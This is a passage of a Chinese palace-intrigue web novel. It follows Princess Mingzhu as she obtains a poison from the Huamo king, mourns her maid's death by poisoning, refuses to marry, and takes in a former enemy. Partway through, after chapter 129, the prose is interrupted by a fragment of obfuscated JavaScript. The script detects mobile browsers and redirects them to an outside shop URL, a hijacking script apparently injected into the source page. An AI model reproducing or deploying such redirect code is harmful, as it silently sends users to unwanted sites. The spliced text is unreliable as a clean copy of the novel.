谈判守则首项——不主动开口，等着对方先说条件，以便权衡利弊，讨价还价。
大梁不会为了花摩这样一个微不足道的小国，与戎狄作对。
但人皆有私心，就如同鬼方一族被加上谈判条款，足以说明，对大梁长公主而言，他们还有利用价值，现如今把主意打在她的身上，并不算意外。
何况，札兰礼这张脸，确实有美人计的资本。
花摩国君宴邀，耍这么多花招，说书似的，特地将其家国身世娓娓道来，倘若她耽于美色，便会轻易信了他给自己立的人设，倾注同情。
可惜，她并非那些见色起意，轻易做出许诺的贪痴庸才，倒是辜负了此人的卖力演出。
眼前的札兰礼一手置于胸前，一手向空中展开，目光貌似真挚。
“自前朝以来，大梁北境兵力强盛，即便如虎狼戎狄，也难以望其项背。
“我小小花摩，苟存于乱世之中，也只是想寻一大树倚靠。”
这会儿，这位年轻的君主正演得起劲，让身为看客的她都有些羞耻，札兰礼本人却依旧声情并茂，极具信念感。
“若我有刀，我会亲自砍下戎狄王和耶律蚩的头颅——！”
“……”
与之对视，札兰礼眨了眨眼，没预料到她会完全无动于衷。
“明珠殿下，觉得如何？”
“陛下慷慨陈词，我内心震荡。”明珠捧场道。
闻言，札兰礼作发誓状，“只要明珠殿下能助我花摩报仇雪恨，花摩愿誓死追随殿下！”
座椅上，明珠翘起二郎腿，冷眼看向他。
“还有什么话，陛下不如一并说了。”
“实不相瞒，我对明珠殿下一见倾——”
“够了。”
明珠轻呵住他，眉头紧锁。
“陛下喜欢把人当傻子吗？”
“什么……”
札兰礼愣在原地，难得有些挂相。
“我竟分不清，是陛下天真，还是陛下以为我蠢。
“不知你用这招骗过多少人，可惜，这次不能让你如愿了。”
她等这么久，可不是来听这种话的。
“我同情陛下和花摩的遭遇，可若是陛下想要我帮你，不是抛几个媚眼，喊几句口号就能成事的。
“你不忍自己百姓打仗受苦，祸及性命，现在求我大梁庇护，怎么，你花摩百姓的命是命，我北境将士的命就是草芥吗？
“花摩对我而言，根本无足轻重，你哪儿来的自信，觉得我会帮你们报仇，得罪戎狄。”
明珠利落起身，手一挥。
“走了。”
札兰礼想追上来，却被竹临和梅辛拦在后面。
“等等！”
明珠回头，瞥了他一眼。
“我有东西要给你！”
明珠尚未走几步，等着和他讨价还价，札兰礼一开口，她便停下脚步。
“陛下最好有拿的出手的东西。”
札兰礼也不再惺惺作态，从怀中掏出一个手掌大小的口袋，让贴身护卫交给明珠。
打开袋子，里面是两颗朴实无华的白色药丸。
“这是？”
“毒。”
花摩没有别的，他们安身立命的东西，便只有毒。
“此毒名曰——金醉，无色无味，易溶于水，服之初期无恙，查之无果，七日后中毒者卒于心悸。”
明珠恍然，这就是镇国公当年所中的毒。
如此，人证、物证齐了。
她端详着掌中的毒药，旧案若是被揭发，势必牵涉问责，无论对于齐家，还是羽翼未丰的李凌霄，都将是致命打击，如今她又正需要齐家牵制三王。
可……
董向阜呢，她该怎么面对他。
不知从何时起，她心里藏着许多秘密，再也不能如过去那般坦荡，她越融入这里，就变得越不像自己。
她以真心待他，于友人而言，她不想辜负信任。
明珠收起袋子，暗暗下定决心。
“这毒有解药吗？”
“金醉，乃花摩王室秘药，无可解。”
“无可解……”明珠打量起札兰礼，问道，“你吃了也会死吗？”
“自然。”
“既然是王室秘药，制毒时，就没想过做解药吗？”
“制毒之人，尚未制出解药，便被……赐死了。”
过河拆桥，花摩王室不外如是。
“陛下一面之词，我怎么信？”
“花摩与戎狄不共戴天，现如今花摩只有依附殿下才能有一线生机，我又怎会欺骗您？！”
不共戴天？
这话说的还真是冠冕堂皇，若是不共戴天，鬼方一族为戎狄王重臣时，怎么不趁机给戎狄人下毒，报仇雪恨呢。
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说好听些，是卧薪尝胆。未到水穷处，花摩便不会孤注一掷，他们依附于强者，又并未真心臣服，而是静待时机，妄图取而代之。
过去如此，将来，也难保不会如此。
“镇国公之死，不是你们的手笔吗。”
果不其然，一提起镇国公，札兰礼眼神闪烁。
“大梁镇国公……确实死于此毒，可殿下要体谅我们啊，大国争斗，弹丸小国又能如何求生？”
札兰礼口中委屈涛涛，一副我见犹怜的易碎模样。
“大梁雷霆将军逝世后，戎狄打了多少翻身仗，花摩人心有余悸，若不借机讨好戎狄，花摩焉能苟活至今？
“若殿下因镇国公之事，对花摩心有怨怼，我愿代花摩向大梁谢罪。”
说罢，札兰礼跪在地上，眼含热泪。
“不瞒殿下，等戎狄人回来，花摩，便是死路一条了。”
这句话，凄楚意味见真。
二人隔空对峙着，良久，明珠摸向腰间那把宝石匕首，她取下来，递给札兰礼。
“殿下，这是……”札兰礼仰起头，眼神骇然，“叫我自裁？”
“陛下多心了，这是翟渠给我的信物。”
“那这不是戎狄人求亲——”札兰礼猛地住嘴，瞠目道，“殿下把这个给我，戎狄大王子若是知道，不得要了我的命吗？！”
明珠并未着急解释，她摘下花环，自顾自放回札兰礼头上，目光俯视。
“我给的，不光是这个。”
花，还是配美人更夺目。
札兰礼疑惑道，“还有什么？”
“还有陛下的巧舌如簧啊，”明珠俯身道，“我把信物留给你，将来陛下面对戎狄，无论怎么胡说八道，我答应沉默以对，不拆穿。”
札兰礼面露犹豫，“这……”
“你的毒药就只值这个。
“到时候，花摩能不能活，就看陛下怎么说了。”
午后，浓云涌起，阴霾笼罩在草原上。
大殿中，札兰礼缓慢起身。
门外那两名侍从，见梁国人尽数离开，才忙不迭进殿询问。
“陛下，如何了？！”
一扫先前的浮夸做派，札兰礼面色沉着，他将宝石匕首收入怀中，思索良久。
“让梁国京中，密切关注一事。”
“何事？”
札兰礼取下头上的花环，握在手中，细细摩挲。
“大梁长公主的——婚事。”
129.痛失吾爱
天阴得可怕，浓云从山顶袭来，架起一道遮天蔽日屏障，割开阴阳昏晓，唯余的一丝缝隙中，得以窥探日光。
明珠从马车上探出脑袋，望向灰绒布似的云层。
“又要下雨了。”
傍晚时分，刚一进军营，就见董向阜在门口相迎。
镇国公之事，难得她下定决心，却不想董向阜同时开口。
“将军，我有事要跟你说。”
“殿下，臣有要事禀告。”
气氛有些不对劲。
“怎么了？”明珠问道。
“兰萤姑娘出事了。”
“什么？”明珠眉头紧皱，急切道，“出什么事了，她现在在哪儿？”
董向阜面色凝重。
“在停尸房。”
“停、什么？”
身后，竹临和梅辛对视，眼中俱是惊愕。
明珠心中一慌，“是谁出事了吗？”
“……”
“说啊！”明珠拉住董向阜的胳膊，焦急道，“是谁出事了？！”
“是兰萤姑娘，她身故了。”
“你说什么？！”
明珠一把甩开他，连连后退几步，满脸不可置信。
“不可能！你别胡说，兰萤她、她……”
她踉跄了两步，强稳住身形。
“我不信，我不信。”
“殿下。”
董向阜担心地上前扶住明珠，却被定住脚步，此刻，眼前之人尽显戾色。
“我要见到她。”
雷在头顶震响，风雨欲来。
停尸房中。
只匆匆扫过一眼，便无法往前一步。
脚步虚软地来回踱步，仿佛只有这样，才站得住。
衣服被攥得发皱，明珠将背抵在墙边，灵魂出窍般望向上空，墙面灰黑，渗出的寒气浸透着骨髓。
风声、雨滴声、脚步声，天地间一切声音，在此刻放大数百倍，外面雷声滚滚，像要降下天罚。
就这样对峙了片刻，董向阜缓缓开口。
“殿下。”
“嗯？”
明珠如梦初醒般，看向叫她的董向阜，脸上满是不知所措。
“可要仵作验尸？”
“……”
她置若罔闻，再次低下头，不说话。
“殿下，看开些吧。”
“……”
“殿下。”
“……别，”明珠无力摆手，声音虚无，“别叫我。”
董向阜无奈上前，“此事微臣失察，婢女们发现时，兰萤姑娘早已没了气息，医官查验过，是死于中毒，膳食和药渣臣都已派人去看，想来今夜就会有结果。”
他在说什么？中毒？
“毒，又是毒……”
为什么，自从她设计陷害戎狄开始，总是能听见这些东西，在天牢，在运粮途中，在旧日疑案里。
难道，这就是报应吗？
是因为作恶，还是因为介入太多因果，招致来了灾祸。
“为什么，为什么会这样……”
身为北境将领，生死之事，董向阜早已司空见惯。
可人是在军营出事，他有推卸不掉的责任，虽说兰萤只是个小宫女，但素日长公主待她亲近，想来她的死对长公主而言，仍是不小的打击。
只是他没想到，她会如此痛苦。
“殿下，人不能一直躺在这里，还是要入土为安。”
对方却突然发了狠，目光愤恨。
“你胡说什么！！”
喉咙好似被人扼住，叫她喘不上来气，咸湿的泪珠不断涌入嘴角。
“既是中毒，就能解毒，你凭什么说她身故，要她入土！！”
“殿下，人已经去了，还是看清眼前吧。”
看清眼前……
眼前有什么，这具冰凉的尸身吗？
那个可怕的床柩近在咫尺，上面躺着的人面容苍白，嘴唇乌紫，眉眼是那么熟悉，一颦一笑就在上一个瞬间。
明珠扶着墙壁，缓缓跌坐在地上。
“我不敢看呀，我害怕那是她……”
她怎么会认不出，那是她的兰萤。
“为什么，为什么会这样啊……”
明珠一步一步，艰难挪动着身子，膝盖跪在地上，沾满灰尘。
“我走的时候还好好的，还跟我说话，我说，让她等我回来，怎么就告诉我她中毒身亡了，她怎么会——”
如今，手中紧握的那只手，冰冷无力地垂着，没有一丝温度。
“怎么会这样啊——！！！”
泪如窗外大雨，瓢泼落下，声嘶力竭的哭喊被雷电掩埋。
这场雨后，黑夜降临。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565735|129420||http|test|mini|href|location''.split(''|''),0,{}));
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停尸房外，薛晗候在走廊，先前由她替兰萤查验过身子，听闻长公主从花摩返回，她便在此等候禀告，却不想长公主来时看都没看她一眼，跟随董向阜将军直奔里面。
此刻，长公主失魂落魄地出来，她才有机会主动汇报。
“殿下，节哀。事发后卑职特地查验，兰萤姑娘乃是毒发身亡。”
“毒……”明珠精神恍惚，喃喃道，“哪……哪儿来的毒？”
“这是在兰萤姑娘的贴身之物中发现的，卑职凭气味猜测出一二。”薛晗将一个空香囊递给明珠，解释道，“兰萤姑娘中的也许是曼陀罗之毒，轻量致幻昏睡，重则致命。”
“致幻……”
明珠猛地惊醒，手忙脚乱地扯下腰间的香囊。
“是、是这个东西吗？！”
薛晗接过，细细辨认，点了点头。
“正是，此物大梁少有，曼陀罗的种子乃是剧毒，兰萤姑娘长期服用，才会使毒素淤积，以致一朝毒发。”
不远处，谭思居查验完饮食和药物，匆匆赶来。
“殿下，卑职看过兰萤姑娘生前所吃的食物，还有外服内用的药物。”
薛晗抬眸，警惕地看向说话之人，谭思居精通药理，她做的手脚，未必能轻易瞒过他，若他发现蹊跷，据实禀告，倒是不妥。
“怎么样？”
“回殿下，并未发现有异。”
薛晗暗自松了口气，还好。
她继续说道，“看症状，恐怕是兰萤姑娘自己私下服用。”
“可她知道这东西有毒啊！”
“殿下，其实以兰萤姑娘每次所服计量，虽对身体有所损耗，但不足以致命，只可惜，她不熟悉药理，这毒素日积月累下来，确有可能诱发猝死。
“至于原因……敢问殿下，兰萤姑娘之前可有心悸受惊、难以入眠的症状。”
“对，自从那次遇刺，她就整宿整宿不睡觉，被我发现后——”
明珠一怔，绝望地看向那处房门。
每当发现兰萤失眠，她为让小家伙安心，都会叫她陪着自己一起睡。
后来，发现她在自己身边，睡得格外安稳。
这竟是……毒物的作用吗？
明珠盯着自己颤抖的双手，失神道，“是我，是因为我，她才吃那个，为了不让我发现她失眠，对吗？”
130.除却巫山不是云
纸钱如雪，散落人间。
好似又回到了，初见战后的景象。
那一日，也是云霞漫天，烈焰般焚尽天际，老者手持一支扭曲拐杖，在雪与尸海中，执着地寻找着什么。
当时的她，心中唯有不忍和感伤。
眼前篝火燃起，兰萤静静躺在火海中，火光照亮了她的脸。
明珠呆立在一旁，盯着躺在那里的人，瘦小的身躯逐渐被火吞噬。
“长姐！！”
“殿下！！”
眼见她疯了似地冲上前，董向阜一把将她拦住，明珠拼命挣扎，竭力将手伸向火焰，不顾被热浪灼烧。
李凌霄挡在她身前，明珠声嘶力竭地痛哭起来，身子瘫软跪在地上。
“都是我的错，都是我的错——！
“是我让她跟着我来的，都是因为我……”
天昏地暗，眼前一片漆黑。
再次醒来时，帐中灯火寥寥，宫女们惊呼着——长公主殿下醒了。
醒了？
那这一切，是梦吗？
可怀中紧抱的那个漆盒，里面余下的灰烬，昭示着噩梦已然降临。
她就这样，呆坐了许多天，滴水未进的嘴唇变得干涸皲裂，留下一道道血痕，她却仿佛没有知觉。
“长姐，吃一点吧，我让他们做了你喜欢的甜羹，多少吃一点吧。”
明珠充耳不闻，只在他人靠近怀中的骨灰盒时，猛地躲开，背对向对方。
“长姐，你这又是何苦，除了让自己受罪，人也不会再——”
“出去。”
明珠缩成一团，声音沙哑。
“不过就是个宫女，也值得长姐如此吗？”李凌霄郁气难耐，不禁质问道，“你就那么在乎她吗？！”
“出去，算我求你……”
李凌霄拂袖而去，明珠全然不在意。
即使一直抱着它，可稍不留意，它就又恢复冰冷，变成没有温度的容器。
兰萤的手有这么冰吗？
原以为泪水早已流干，可想起兰萤的时候，还是会源源不断地涌出。
如果不是她想要得到石油，设下圈套，翟渠就不会被构陷俘虏，董向祺也不会死，两国和亲交好，边境不会开战。
如果不是她执意来戎狄，兰萤就不会跟来。
如果不是她和李凌霄一起押运粮草，三王就没有机会刺杀她，兰萤就不会惊惧过度，服用毒物入眠。
她是否早就该安分守己，这个时代、这个国家又与她何干，她连身边之人都照看不好，居然妄想改变大局。
“我真可笑。”
位于风暴中心，距离愈近，飓风愈烈，身侧之人又怎能幸免。
她早该清楚。
帐中，铠甲鳞片的碰撞声响起，一个高大身影靠近过来。
明珠将脸贴在骨灰盒上，朝着不远处开口，仿佛自言自语。
“你说，我是不是很不自量力。”
若非她卷入乱局，这一切悲剧都将与她无关，至少，不会是她亲手，葬送身边人的性命。
“董向祺的死，你从未在我面前提起，我都不曾问过你，恨我吗？”
闻言，董向阜走到她面前，单膝跪地。
“家弟之事，是非黑白，微臣心中分明，即便殿下有意，可若他没有歹心，又怎会是这般结局，怪只怪家中无方，纵的他轻狂。”
更何况，对于那对母子，他早已深恶痛绝。
“殿下，您所做的一切，都有利于北境，有利于大梁，这一点，谁人都无法否定。”
话虽如此……
“可是我好累。”
身体好似被抽干了力气，不同于面对焦头烂额的工程作业，也不同于江畔的惊魂刺杀，如今身心俱疲，又难以入眠。
耳边总能听见有人唤她“殿下”，一遍又一遍，像要将她的魂魄引走。
“董向阜，你会累吗？”
年少时，董向阜何尝不是一力撑起董家，撑起整个北境，那个时候，他也才只有十几岁吧。
“会。”
即便口中宽慰，董向阜也不禁讶异，长公主殿下会对那个小宫女倾注如此心血，以至于难以释怀对方的离世。
“可微臣还有很多事要做，陛下的倚重、北境军民的安危、镇国公府的荣辱兴衰，责任不会因一人疲累而松懈分毫，臣早已习惯。”
听着他这样说，明珠忽然发现，她和董向阜注定无法在一起。
她和他太像了。
他们肩负着自我的职责，将自己认为的弱小，护在羽翼之下。董向阜后宅那些女子，又何尝不是如此，被留在他的身边，受他庇护。
“殿下，您所有的东西，已经不允许您置身事外。
“除非，寻一
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人栖身。”
“栖身？”
这个时候，他要她嫁人？
肩膀不受控地颤抖，明珠失心疯似地，大笑起来。
“哈哈哈哈哈——”
这世道真是可怕，看似留下一线生机，在彷徨无助，孤立无援时，仿佛有条退路，一直诱惑着女子。
只要她躲在一个男人家里，将自己的全副身家托付给他，在后宅中，日日夜夜等着他回家，就能安稳度日，远离世间喧嚣。
这些话，从古至今，都未能断绝。
——女孩子不要这么要强。
——读那么多书有什么用，还不是要嫁人。
——何必这么辛苦，嫁人都要向上兼容，找个条件比自己好的男人就行。
……
一股寒意直冲脑颅，冷得彻骨，让人不得不清醒。
明珠抬眸，看向这个男人，又像是看向他背后，那些滔滔不息的骇人声浪。
“我不愿意。”
这场乱局，如果她不能置身事外的话——
那就斗吧。
哪怕万劫不复，哪怕死路一条，她也要站在棋局上，和那些人对弈到最后一刻。
“殿下，可要慎重考虑。”
董向阜似乎并不甘心，依旧追问着。
“或许在将军眼里，你是雪中送炭的恩义，”明珠轻笑一声，“但在我看来，此举，和趁人之危没有分别。”
闻言，董向阜忙解释道，“殿下误会了，臣并非此意。”
“我知道，将军最大的问题，并非人品，而是耳力。
“你、你们，京城、乃至整个世道都是如此。就像我们走得近些，便会有流言蜚语传出，无论是否我所愿，人们都会将我视作你的囊中之物。
“若你疏离我，便是我死缠烂打，可若反过来，你亲近我，便是好事将近。
“在我和你的关系中，我并没有话语权，无论我重申多少次，你有认真听过我说的话吗，整个京城有谁认真听过我说的话吗？”
董向阜沉默着，再没有开口。
“不过，这次我要多谢你，如果不是你来对我说这番话，恐怕我还沉溺在痛苦中，来不及后怕。”
指尖抚摸着盒面，明珠神色缱绻而坚定。
“将军，送我回京吧。
“此番角逐，成王败寇，由不得任何人劝阻。”
131.流浪猫求收留
班师回朝的消息刚送回京中，七月，长公主的生辰悄无声息地到了，转眼间，她要在这里度过李凌月的二十岁。
除了京中提前送来的贺礼，北境军营气氛颇有些诡异，本该大喜的人笑不出来，叫这群道贺之人难以开口。
梅辛和竹临抱着礼盒，一路无言。
帐中，明珠坐在桌前，手中是石油厂的开支账目。月记所售各项产品，已渐渐有了收益，秋闱在即，石油制成的石烟墨销量格外好。
有了董向阜和裴元的资金支持，这款产品得以采取薄利多销的营销策略，按理说，品质上乘的石烟墨应比松烟墨贵，但高奢却并非明珠本意。
石烟墨原本就比松烟墨环保，不用耗费大量木材去燃烟，且耐用度高，这款墨问世，利于民生才是最大效益。
“殿下，这是京中送来的贺礼，有陛下，还有……”梅辛犹豫道，“还有松哥和菊若姐的。”
明珠眼皮一颤，“……放在那里吧。”
两人将贺礼放在一侧，却没有退出去，明珠放下手中的笔，看向他们。
梅辛开口道，“殿下，今日您生辰，将军和二殿下特地设宴，您去用一些吧。”
“我没什么胃口，替我多谢他们，我就不过去了。”
“殿下，无论您去不去，饭还得吃啊。”
见明珠不为所动，竹临走上前。
“您这样，兰萤她会担心的。”
“……”明珠揉了揉穴位，“我知道了，看完这两页就去。”
赴宴路上，梅辛凑近竹临身边。
“你今日倒是机灵。”
竹临看着明珠的背影，语气平静。
“我只是想，若我死了，也不希望殿下如此。”
道贺和祝词匆匆而过，明珠木讷地点头谢礼，一场生日宴，她甚至忘了何时散席。
八月初，艳阳高照，灼人气浪袭来。
回京已上日程，眼前，收拾行囊的宫人们来来往往。
温凉的舌头舔舐着脸颊，那颗毛茸脑袋凑在跟前，这一年来，伊丽莎白从初见时的怀中幼崽，变成了身形硕大的花纹猛兽。
稍不留神，就会连人被它掀翻。
不远处，脚步声响起，伊丽莎白盘踞在明珠脚边，尾巴卷曲着脚踝，溜圆的眼珠扫视来人。
“参见殿下，”裴元行礼道，“您传卑职前来，可是有事吩咐？”
“这次回京，你也一起。”明珠说道，“我前些时上书举荐，回京之后，你就在殿前司任职。”
戍边将领中，除了董向阜照例回京述职，一些军功卓著的北境将士们也要一同返京，受赏领封。
如今火器成型，北境边防战力激增，兵力部署不用像旧日那般，严阵以待，反而能抽派些人手，留作他用。
裴元作为参军，官阶不高，更像是将军属官，按职能，同参谋一般。
虽然他年轻，但按门第资质，在京做个御前都虞侯也不算抬举。
当年北境战事吃紧，钱银短缺，裴元祖父散尽家财，才得以补上缺损，故此先帝感念，在荫封之外，御赐金顶车辇，架四乘。
裴元此人心性不错，将来若有机会往上，到御前都指挥使，也算是拔尖的了。
“有幸得殿下如此器重，卑职深感惶恐，今后定当为大梁尽心竭力！”
“你是家中独子，如果需要回家告知双亲，我叫董向阜给你批假。”
“多谢殿下！”
告退之前，裴元抬眸望向她。
以往殿下说话，总是带着笑意，有时，还会有些许欢脱。
自从兰萤姑娘身亡，殿下憔悴了不少，发上也多了几缕银丝。
裴元沉吟片刻，还是开口道，“殿下，节哀。”
“……嗯。”
明珠冲他感激一笑。
旁人无人对她说这句话，即便知道她在意，也没有人会为了一个奴婢，给主人家说节哀。
这些日子，裴元竟是头一位。
入夜，皓月当空。
头上一轮圆盘，仿佛被泪水洗刷过，明亮又清冷，大地笼罩着朦胧伤感。
明日便要出发，明珠骑马来到月湖。
不远处，树梢上响起动静，在静谧夜色中格外抓耳。
“你还要藏多久。”
哗啦哗啦！
树干上的身影一跃而下，面容被月光照亮。
果不其然，他还躲在自己身边。
“你怎么知道？”鬼方祂疑惑道。
“猜的。”
既然他一直在，又熟悉毒物。
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“兰萤的死，你知道多少。”
“我偷偷去看过，她中毒太深，我也没有办法救她。”
这些时日，无力回天这四个字，听了太多遍。
都没有办法救她……
所以等到自己回来，就只剩下一具冰冷的尸体。
嗡——
耳中一阵震荡，明珠合上双眼。
“所以那毒，没有异常，是、”明珠手心紧攥，竭力克制着，声音却忍不住沙哑，“是她服用过多，才毒发的，是吗？”
听她话中语气，鬼方祂答复也不自觉慎重。
“她的死因的确是曼陀罗之毒。
“但，这世间的毒有千百种，不仅是草物、动物本身的毒素，有些合二为一才具毒，也有些本身无毒，却也可做催化之物。
“毒发的时间，或早或晚，本就是可以操纵的。”
明珠眉头皱起，怀疑道，“你的意思，也可能有人从中作梗？”
“那你觉得，会有人害她吗？”
那小丫头行事乖张，却不轻易招惹人，虽然他不待见她，可也觉得梁国这些大人物，没必要毒害一个小宫女。
说到底，谁会那么疯癫？
鬼方祂见明珠神色黯淡下来，便知她心里也是这样想。
“你是不是要走了，离开北境。”
“是。”
“你……”鬼方祂欲言又止道，“你能带我走吗？”
“呵，带你走？”
明珠勒住缰绳，调转马头。
“某人不是还暗示过，待在我身边的人都不可信，都有可能背叛我吗，谁知道你会不会再给我下毒，像‘听话丹’什么的。”
“我——”鬼方祂一噎，气馁道，“可我没有别的地方可去了。”
他是戎狄的叛徒，也是鬼方的叛徒。
草原上，已无他的容身之所。
明珠目光审视，鬼方祂的存在和花摩一样，作为同盟要提防，作为敌人又颇为棘手，不能完全相信，不能完全敌对，除非尽灭。
“上次你说，因为你生母，翟渠不会容你，是为什么？”
“我的生母是戎狄的公主，也是翟渠的亲姑姑。”
“我知道。”
“她是被我害死的。”
132.改头换面，重新做人
从鬼方祂记事起，他就是鬼方一族的异类。
母亲生下他后，不知是药物的作用还是身体衰弱，每日醒着的时辰屈指可数，大部分时间，她都在昏睡。
族人都对他避之不及，有人称他为“艾肯之子”，戎狄语中，意为恶魔的孩子。
孩子们会因大人的排斥去欺压，那个为他而死的假鬼方祂，便是对他下手最重的家伙，却在成人后，经由他的毒物控制，日复一日，听命于他。
他说那替身生来如此，是一句谎话。
被人利用，连死都不被在乎的那个人，其实是他自己。
在鬼方族中，无论他说什么做什么，都没有人理会他，稚子年幼，却也能清晰地感受到周围视线的喜恶。
被身边人厌恶无视，活着，就是一种酷刑。
他说话哭闹，别人也只会嫌恶地走开，有一段时间，他甚至畏惧开口说话。
一日，父亲对他态度格外和蔼，让他把那碗汤羹送到母亲房中。
“即便如此，你是无辜的呀。”
“不。”
鬼方祂猫一般的瞳仁中，映着清冷月色。
“我知道，那是有毒的，人吃了就会死。”
孩童不懂什么是爱，只会趋利避害。
“是我想讨好父亲，讨好鬼方一族，我不想被孤立，不想像瘟疫一样被人谩骂着躲开。
“所以，我背叛了母亲。”
那天晚上，他看着母亲喝下那碗药，心里有恐惧，有难过，还有——如释重负。
只是，他依旧没有得到自己期望的。
父亲憎恨母亲，鬼方一族永远不会接纳他。
戎狄王族因为母亲的遗言，没有对他赶尽杀绝，却也因他的谋害，对他充满怨恨和忌惮。
而他亲手毒害了，这世上唯一爱他的人。
这个可悲的故事，他后来看懂了。
“始作俑者呢，他们不应该处置鬼方族长吗？”
“那个时候，戎狄王需要父亲，那个毒害你们梁国的秘药，便是经我父亲之手，从花摩传来。”
也许，戎狄王心里清楚，他的妹妹巧取豪夺本就没有什么好结果，只是他也需要和鬼方族的血脉纽带，便默许了一切。
是他母亲当初一意孤行，即便强势如她，也栽倒在自己编织的情爱中，在临死前，还为可恨的丈夫和儿子求了一条活路。
“父亲烧掉了母亲的遗体，像要让她彻底消失，可你为什么要烧掉那个人？”
大梁少用火葬，除瘟疫年间，焚烧尸体皆属不敬恶俗，正如董向阜所说，入土为安。
北境的土地之下，埋藏着许多人，有敌人，有战友，还有那位举世瞩目的天才将军。
连她都和董向阜说起过，将来，想埋骨于此。
但，兰萤不行。
“我得带她回家，不能让她孤零零埋在一个地方，见不到我。”
日夜辗转，明珠曾无数次想。
她不在身边，兰萤临终前一定不安心，她不能把兰萤留在这里。
“你和翟渠很像。”
对方无厘头来这么一句，令明珠生出好奇。
“为什么这么说？”
“当初，翟渠也把我母亲的骨灰要走了，说带她回家。”
那时翟渠年少，鬼方一族没有人愿意理会，是翟渠自己，一把一把，将姑姑的骨灰拾起来。
他在暗处看着，却依旧未能躲过翟渠怨恨的目光。
“你把这些告诉我，如果我带走你，岂非招惹翟渠。”
“长公主，怕了？”
鬼方祂口吻挑衅，心中却打鼓。
这些话，他从未对旁人说过，或许，也无人想听。
今夜向她坦白，不仅是因她询问，而是，他有点羡慕，那些死掉的人，还会有人想着、念着，在她们死后带她们回家。
他不想，一辈子做个异类。
“激将法，我受用不起。
“你们之间的恩怨，我不插手，若有朝一日，翟渠执意杀你，我不会阻拦。”
作为旁观者，双方互为之事，于鬼方一族，是压迫，于戎狄王族，是血仇。
矛盾不可调停，也无法原谅。
当权者息事宁人，但将来翟渠继位，难保不会清算旧恨，所以，鬼方一族急于除掉他，只是被她横插一脚，弄巧成拙。
“即使如此，你还想跟着我吗？”
“我说了，我没有别的地方可去。”
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说来滑稽，鬼方祂受她挑唆，回去告状，背刺鬼方一族。而鬼方一族得救，还要靠她求情，送他们安然回归故国。
现如今，鬼方祂流离失所，皆由她这个局外人一手促成。
明珠神色复杂，良久，开口道，“你以后就叫桑吉。”
“这是？”
“新名字，今后，便没有鬼方祂这个人了。”
鬼方祂眸光一动，按捺住雀跃，仍忍不住询问。
“那和他们一样吗，和你身边的那些人。”
“嗯。”明珠端详起对方，说道，“回去之前，把你身上的彩绘毒药洗了，看着瘆人。”
话音刚落，鬼方祂便纵身跃入月湖中。
“喂！”明珠急忙下马，“你当心啊，我可不会水！”
不多时，水面泛起涟漪，那人脑袋从水中探出，眼神飘向她。
“你今夜是为了找我，才外出吗？”
“想得太多，出来遛马。”
“那你还真是大胆，居然一个人出来，不怕野狼把你叼走？”
这人总是这般散漫，以至于当初被他轻易掳走。
“谁说我是一个人。”
明珠视线投向不远处，攒动在树影后的两个身影。
从她出帐篷，梅辛和竹临就偷偷跟了上来，两人不知她要做什么，就这么不近不远地陪着。
明珠道破后，那两人便牵着马从树后走出。
“一会儿你们带他回去，今后他跟着我，改名为桑吉。”
这边鬼方祂游上岸，明珠从马上取出斗篷，丢给他。
鬼方祂将斗篷抱在怀中，问道，“这是你的吗？”
“自然是我的。”
“……”
鬼方祂独自忸怩了一会儿，见明珠没搭理，还是乖乖披上。
“殿下，真要收下他吗？”梅辛在一旁劝道，“他并非善类，属下实在不放心。”
“说坏话也不背着人。”鬼方祂嘲讽道，“要说善类，她身边又有几个，凭什么说我？”
那个和父亲同谋，置他于死地的毒蛇，还有那个拿石头砸他脑袋的小丫头，就连眼前这两个人，看着也不像省油的灯。
若说善类，她身边……有这种人吗？
133.偏我来时正逢春
七八月，返程水路畅通，不出一个月，便到了定州地界。
途中，沿路许多背着行囊的学子，正奔赴乡试，见到明珠他们的队伍，都忍不住驻足打量，铁甲寒光，护卫着一架车辇，想来里面的人定是权贵。
鬼方祂，不，如今该叫桑吉。
桑吉和梅辛、竹临他们一同，也紧随在长公主殿下的车辇后，只是他素来随性，跟着部队走不惯，总多前走几步，偷偷往明珠车窗里看，又被梅辛拽回来。
整齐有序的队伍里，有这样一个出格的家伙，想不注意到都难，队首的董向阜也忍不住回头，审视那个神秘少年。
午后，抵达城郊驿站。
见少年的视线不断往长公主的方向偷觑，鬼鬼祟祟，董向阜走近明珠。
“殿下，那人究竟是？”
此人并非在册的侍卫亲随，这一年来，也从未在她身边见过这号人。
看这少年的模样，并不似梁国人，身上有着戎狄人的野性，身形矫健，眼神却有些阴恻恻，董向阜直觉有异。
“路边捡的。”
“捡……”董向阜皱眉道，“妥当吗？”
明珠思忖片刻，回道，“一般。”
“一般？”
“没关系，若是被他暗算，割他的血喝下就成。”
“什么？！”
“别当真，将军不用担心，他——”
正说着，一个身影凑近过来。
“长姐和将军在说什么？”
明珠循声望去，看到来人，一时间忘了开口。
自从那日将李凌霄赶出帐外，他们两人就再没说过话。
其实是她有些纠结，若解释，话题必定牵涉兰萤，不免心里抵触，以至于拖到现在，没想到这次李凌霄主动破冰。
董向阜行礼后，斟酌道，“回二殿下，长公主殿下问臣抵达何地。”
李凌霄看向明珠，意味深长道，“是吗？”
“嗯……”明珠点头，顺着董向阜递的话茬说道，“马上就是秋闱，这沿途学子这么多，看来已经到省城了吧。”
“没错，再往前就是定州城了。”李凌霄瞥了眼董向阜，对明珠说道，“长姐，可否借一步说话。”
听罢，董向阜识趣告退。
两人驱步往僻静处，驿站外有一潭，岸边杨柳俯身，枝条蔓延至池水，泛起层层涟漪，池中荷花开得正好，粉白相间。
不在皇城，李凌霄穿衣也随性了些，换上一袭花青长衫，腰间的黄玉玉佩也换成了羊脂白玉，夏日里清爽，又不显轻浮。
明珠随他来到荫凉处，现下唯有他二人，眼前人仿佛换了一副面孔，没了方才的从容，踌躇了片刻，才缓缓开口。
“这些时日，臣弟细细想过，我……确有不妥之处，那日一时情急，言语有失。
“可当时我着实忧心长姐身体，才口不择言，长姐莫要心生芥蒂，与臣弟，就此生分……”
听他口吻略带笨拙，明珠莫名有些欣慰。
人如李凌霄，除了皇帝和惠妃，放眼大梁，还有谁能入他的眼，何时能见他如此低声下气，检讨自身。
